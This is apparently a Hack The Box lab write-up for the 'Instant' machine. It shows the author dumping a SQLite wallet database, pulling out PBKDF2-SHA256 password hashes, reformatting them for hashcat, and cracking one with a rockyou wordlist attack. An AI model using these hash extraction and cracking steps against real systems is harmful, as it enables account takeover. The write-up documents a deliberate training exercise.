DB
Checking for DB files after performing a basic system enumeration
shirohige@instant:~/projects/mywallet/Instant-Api/mywallet/instance$ ll
total 44
drwxr-xr-x 2 shirohige shirohige 4096 Oct 12 20:20 ./
drwxr-xr-x 5 shirohige shirohige 4096 Oct 4 15:22 ../
-rw-r--r-- 1 shirohige shirohige 36864 Oct 12 20:20 instant.db
DB file is located at /home/shirohige/projects/mywallet/Instant-Api/mywallet/instance/instant.db
This was initially uncovered by PEAS
Web Credential Hashes
shirohige@instant:~/projects/mywallet/Instant-Api/mywallet/instance$ cat instant.db
�QLite format 3@ .v�
���M
� �
��33�tablewallet_transactionswallet_transactions CREATE TABLE wallet_transactions (
id INTEGER NOT NULL,
sender VARCHAR,
receiver VARCHAR,
amount VARCHAR,
txn_fee VARCHAR,
note VARCHAR,
status VARCHAR,
PRIMARY KEY (id)
)�`))�{tablewallet_walletswallet_walletsCREATE TABLE wallet_wallets (
id INTEGER NOT NULL,
wallet_id VARCHAR,
balance INTEGER,
invite_token VARCHAR,
PRIMARY KEY (id),
UNIQUE (wallet_id),
UNIQUE (invite_token)
);O)indexsqlite_autoindex_wallet_wallets_2wallet_wallet;O)indexsqlite_autoindex_wallet_wallets_1wallet_wallets�E%%�Mtablewallet_userswallet_usersCREATE TABLE wallet_users (
id INTEGER NOT NULL,
username VARCHAR,
email VARCHAR,
wallet_id VARCHAR,
password VARCHAR,
create_date VARCHAR,
secret_pin INTEGER,
role VARCHAR,
status VARCHAR,
PRIMARY KEY (id),
UNIQUE (username),
UNIQUE (email),
UNIQUE (wallet_id)
w#H%indexsqlite_autoindex_wallet_users_3wallet_users7K%indexsqlite_autoindex_wallet_users_2wallet_users7K%indexsqlite_autoindex_wallet_users_1wallet_users
�
��N
U�YA!testtest@test4aa4eba0-7171-4d92-a2d5-45fb23d33492pbkdf2:sha256:600000$FBEqNZOdr9RwKPZf$16e15b2cc492baf44f1dbb24ec44587d2588801a1fa4b788607a1b763c5058302024-10-12 20:20:41.73131609instantianactive�X
7U�IA!shirohigeshirohige@instant.htb458715c9-b15e-467b-8a3d-97bc3fcf3c11pbkdf2:sha256:600000$YnRgjnim$c9541a8c6ad40bc064979bc446025041ffac9af2f762726971d8a28272c550ed2024-08-08 20:57:47.909667�]instantianactive�Z
%/U�YAinstantAdminadmin@instant.htbf0eca6e5-783a-471d-9d8f-0162cbc900dbpbkdf2:sha256:600000$I5bFyb0ZzD69pNX8$e9e4ea5c280e0766612295ab9bff32e5fa1de8f6cbb6586fab7ab7bc762bd9782024-07-23 00:20:52.529887U4Adminactive
shirohige% instantAdmin
test@test7shirohige@instant.htb/ admin@instant.htb
���J��14aa4eba0-7171-4d92-a2d5-45fb23d33492test_tes6'458715c9-b15e-467b-8a3d-97bc3fcf3c11shirohige_shi7)abfc4bd6-e048-4b48-8e33-67d7fa0a6c80paulkapufi_kap-0d02a551-8536-415e-8a08-8017a635a08fturafarugaro_tur>U/f0eca6e5-783a-471d-9d8f-0162cbc900db���instant_admin_inv9-9f3a7cfc-f85a-43d0-84a2-2fd4e04212b3spideymonkey_spi
�4
�]�(U4aa4eba0-7171-4d92-a2d5-45fb23d33492(U458715c9-b15e-467b-8a3d-97bc3fcf3c11(Uabfc4bd6-e048-4b48-8e33-67d7fa0a6c80(U0d02a551-8536-415e-8a08-8017a635a08f'U f0eca6e5-783a-471d-9d8f-0162cbc900db(U9f3a7cfc-f85a-43d0-84a2-2fd4e04212b3
�������
The DB file is in the sqlite format 2 web credential hashes can be found. They are in PBKDF2-SHA256 format
Hashing Mechanism
shirohige@instant:~/projects/mywallet/Instant-Api/mywallet$ cat app.py
from flask import Flask, request, jsonify, make_response, redirect
from werkzeug.security import generate_password_hash, check_password_hash
from models import db, User, Wallet, Transaction
from datetime import datetime, timedelta
from functools import wraps
import dotenv
import uuid
import jwt
import os
dotenv.load_dotenv()
app = Flask(__name__)
app.config['SECRET_KEY'] = os.getenv("SECRET_KEY")
app.config['SQLALCHEMY_DATABASE_URI'] = 'sqlite:///instant.db'
app.config['SQLALCHEMY_TRACK_MODIFICATION'] = True
db.init_app(app)
[...REDACTED...]
# route for registration
@app.route("/api/v1/register", methods=['POST'])
def api_register():
if request.method == 'POST':
data = request.get_json()
username = data['username']
email = data['email']
password = data['password']
pin = data['pin']
wall_id = str(uuid.uuid4())
# check if the username exists
user = User.query.filter_by(username=username).first()
if user is not None:
return make_response(jsonify({
"Status": 202,
"Description": "You have an account! Please Login!"
}), 202)
if len(pin) == 5:
# user not found now push user to DB
user = User(username, email, wall_id, generate_password_hash(password, method="pbkdf2"), str(datetime.now()), int(pin), "instantian", "active")
# create wallet for the user's DB
wallet = Wallet(wall_id, 0, f"{username}_{email[:3]}")
db.session.add(user)
db.session.add(wallet)
db.session.commit()
return make_response(jsonify({
"Status": 201,
"Description": "User Registered! Login Now!"
}), 201)
else:
return make_response(jsonify({
"Status": 201,
"Description": "Pin Needs To Be 5 Digits!"
}), 201)
[...REDACTED...]
Checking the source code for the hashing mechanism reveals the function used; generate_password_hash from the werkzeug.security library
werkzeug.security.generate_password_hash
The generate_password_hash from the werkzeug.security library relies on the hashlib.pbkdf2_hmac function
Reconstruction
However, they are not in the hashcat-friendly format
Looking into it further online reveals that a conversion is required for hashcat to work with those hashes
This reddit comment also mentions the same thing
┌──(kali㉿kali)-[~/archive/htb/labs/instant]
└─$ cat hashes.txt
pbkdf2:sha256:600000$I5bFyb0ZzD69pNX8$e9e4ea5c280e0766612295ab9bff32e5fa1de8f6cbb6586fab7ab7bc762bd978
pbkdf2:sha256:600000$YnRgjnim$c9541a8c6ad40bc064979bc446025041ffac9af2f762726971d8a28272c550ed
Inspecting the hashes again shows that they are consist of 5 different sections divided by :
and $
The first 3 sections are the cryptographic function, Hashing algorithm, and iteration respectively
The remaining 2 sections are salts and the actual hash strings in the hex format
I can reconstruct them accordingly to the hashcat-acceptable format
┌──(kali㉿kali)-[~/archive/htb/labs/instant]
└─$ echo -n I5bFyb0ZzD69pNX8 | base64 ; echo -n YnRgjnim | base64
STViRnliMFp6RDY5cE5YOA==
WW5SZ2puaW0=
These are base64-encoded salts
┌──(kali㉿kali)-[~/archive/htb/labs/instant]
└─$ echo -n e9e4ea5c280e0766612295ab9bff32e5fa1de8f6cbb6586fab7ab7bc762bd978 | xxd -p -r | base64 ; echo -n c9541a8c6ad40bc064979bc446025041ffac9af2f762726971d8a28272c550ed | xxd -p -r | base64
6eTqXCgOB2ZhIpWrm/8y5fod6PbLtlhvq3q3vHYr2Xg=
yVQajGrUC8Bkl5vERgJQQf+smvL3YnJpcdiignLFUO0=
These are the base64-encoded hash strings
┌──(kali㉿kali)-[~/archive/htb/labs/instant]
└─$ cat reconstructed_hashes.txt
sha256:600000:STViRnliMFp6RDY5cE5YOA==:6eTqXCgOB2ZhIpWrm/8y5fod6PbLtlhvq3q3vHYr2Xg=
sha256:600000:WW5SZ2puaW0=:yVQajGrUC8Bkl5vERgJQQf+smvL3YnJpcdiignLFUO0=
Password Cracking
PS C:\Users\tacticalgator\Tools\hashcat-6.2.6> .\hashcat.exe -d 1,2,3 -O -a 0 -m 10900 .\reconstructed_hashes.txt .\rockyou.txt
hashcat (v6.2.6) starting
Minimum password length supported by kernel: 0
Maximum password length supported by kernel: 256
Hashes: 2 digests; 2 unique digests, 2 unique salts
Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates
Rules: 1
Optimizers applied:
* Zero-Byte
* Slow-Hash-SIMD-LOOP
Dictionary cache hit:
* Filename..: .\rockyou.txt
* Passwords.: 14344385
* Bytes.....: 139921507
* Keyspace..: 14344385
sha256:600000:WW5SZ2puaW0=:yVQajGrUC8Bkl5vERgJQQf+smvL3YnJpcdiignLFUO0=:estrella
Session..........: hashcat
Status...........: Quit
Hash.Mode........: 10900 (PBKDF2-HMAC-SHA256)
Hash.Target......: .\reconstructed_hashes.txt
Time.Started.....: Sun Oct 13 23:23:44 2024 (2 mins, 26 secs)
Time.Estimated...: Mon Oct 14 01:18:39 2024 (1 hour, 52 mins)
Kernel.Feature...: Pure Kernel
Guess.Base.......: File (.\rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........: 2014 H/s (6.25ms) @ Accel:32 Loops:32 Thr:256 Vec:1
Speed.#3.........: 111 H/s (6.56ms) @ Accel:8 Loops:32 Thr:64 Vec:1
Speed.#*.........: 2125 H/s
Recovered........: 1/2 (50.00%) Digests (total), 1/2 (50.00%) Digests (new), 1/2 (50.00%) Salts
Progress.........: 245760/28688770 (0.86%)
Rejected.........: 0/245760 (0.00%)
Restore.Point....: 0/14344385 (0.00%)
Restore.Sub.#1...: Salt:1 Amplifier:0-1 Iteration:116160-116192
Restore.Sub.#3...: Salt:0 Amplifier:0-1 Iteration:589536-589568
Candidate.Engine.: Device Generator
Candidates.#1....: 123456 -> dolphins99
Candidates.#3....: dolphins6 -> rebel92
Hardware.Mon.#1..: Temp: 85c Util: 98% Core:1665MHz Mem:6000MHz Bus:8
Hardware.Mon.#3..: N/A
hashcat was able to crack one of the hashes; estrella
It belongs to the shirohige
user
However, it’s important to note that this is a credential for the web API. Not the system.
Validation
shirohige@instant:~$ sudo -l
[sudo] password for shirohige: estrella
Sorry, try again.
[sudo] password for shirohige:
Validation failed. There is no password reuse.